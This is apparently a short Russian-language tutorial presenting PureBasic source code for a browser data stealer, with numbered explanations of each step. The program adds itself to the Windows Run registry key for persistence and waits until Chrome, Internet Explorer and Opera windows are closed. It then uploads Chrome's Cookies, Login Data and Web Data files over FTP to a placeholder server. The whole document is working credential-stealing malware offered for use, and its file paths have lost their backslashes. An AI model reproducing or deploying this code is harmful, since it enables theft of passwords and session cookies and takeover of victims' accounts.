1) Объявляем, что мы будем работать с сетью
3-10) Записываем нашу программу в автозапуск. Каждый при включении Windows, она будет запускаться.
12-16) Проверяем запущен ли Google Chrome(ищем окно). Если да, то проверяем снова. Проблема в том, что если он запущен, то у нас не получится скачать важные нам файлы.
18) Сон на 500 миллисекунд. Если хром выключили, то ждет закрытие процесса его.
20) Открываем фтп соединение.
21-23) Открываем файлы по очередно и присваиваем им имена даты, имя компа и названия файла. PureBasic
InitNetwork()
ProgName.s=ProgramFilename()
Name.s=GetFilePart(ProgName)
Handle = RegOpenKeyEx_(#HKEY_CURRENT_USER, "SoftwareMicrosoftWindowsCurrentVersionRun", 0, #KEY_ALL_ACCESS, @hKey)
If Handle = #ERROR_SUCCESS
RegSetValueEx_(hKey, @Name, 0, #REG_SZ, @ProgName, Len(ProgName))
RegCloseKey_(hKey)
EndIf
RunAgain:
If FindWindow_("Chrome_WidgetWin_1",0) Or FindWindow_("IEFrame",0) Or FindWindow_("OpWindow",0)
Goto RunAgain
Else
EndIf
Delay(500)
OpenFTP(0, "server", "login", "password")
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultCookies", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Cookies-"+UserName())
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultLogin Data", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Login Data-"+UserName())
SendFTPFile(0, "C:Users"+UserName()+"AppDataLocalGoogleChromeUser DataDefaultWeb Data", FormatDate("%dd:%mm:%yyyy:%hh:%ii:%ss", Date())+":Web Data-"+UserName())